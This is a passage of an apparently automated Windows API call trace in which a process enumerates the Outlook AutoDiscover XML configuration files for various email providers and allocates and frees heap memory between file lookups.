ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.SG.XML", cAlternateFileName="")) returned 1 [0079.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9ec0 [0079.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e08a0 [0079.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.266] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.TW.XML", cAlternateFileName="")) returned 1 [0079.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9ee0 [0079.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e09a8 [0079.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.267] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.VN.XML", cAlternateFileName="")) returned 1 [0079.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9f00 [0079.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e0ab0 [0079.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.268] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.XML", cAlternateFileName="")) returned 1 [0079.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9f20 [0079.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e0bb8 [0079.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.271] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.DE.XML", cAlternateFileName="")) returned 1 [0079.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9f40 [0079.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e0cc0 [0079.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.271] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.ES.XML", cAlternateFileName="")) returned 1 [0079.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9f60 [0079.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e0dc8 [0079.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.272] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.FR.XML", cAlternateFileName="")) returned 1 [0079.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9f80 [0079.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e0ed0 [0079.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.273] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.HK.XML", cAlternateFileName="")) returned 1 [0079.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9fa0 [0079.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e0fd8 [0079.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.274] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.IE.XML", cAlternateFileName="")) returned 1 [0079.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9fc0 [0079.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e10e0 [0079.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.275] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.IT.XML", cAlternateFileName="")) returned 1 [0079.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9fe0 [0079.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e11e8 [0079.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.276] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a900, ftCreationTime.dwHighDateTime=0x1c6ea7d, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a900, ftLastWriteTime.dwHighDateTime=0x1c6ea7d, nFileSizeHigh=0x0, nFileSizeLow=0x331, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.JP.XML", cAlternateFileName="")) returned 1 [0079.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.277] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.NO.XML", cAlternateFileName="")) returned 1 [0079.277] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.PL.XML", cAlternateFileName="")) returned 1 [0079.277] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.SE.XML", cAlternateFileName="")) returned 1 [0079.277] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.SE.XML", cAlternateFileName="")) returned 0 [0079.277] GetLastError () returned 0x12 [0079.277] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0079.278] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="AMERITECH.NET.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="BTINTERNET.NET.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x51b201b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="BTOPENWORLD.COM.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x52837ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLASH.NET.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL.ROGERS.COM.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NVBELL.NET.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PACBELL.NET.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRODIGY.NET.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROGERS.COM.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="SBCGLOBAL.NET.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="SNET.NET.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SWBELL.NET.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="TALK21.COM.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="WANS.NET.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CA.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.ID.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, 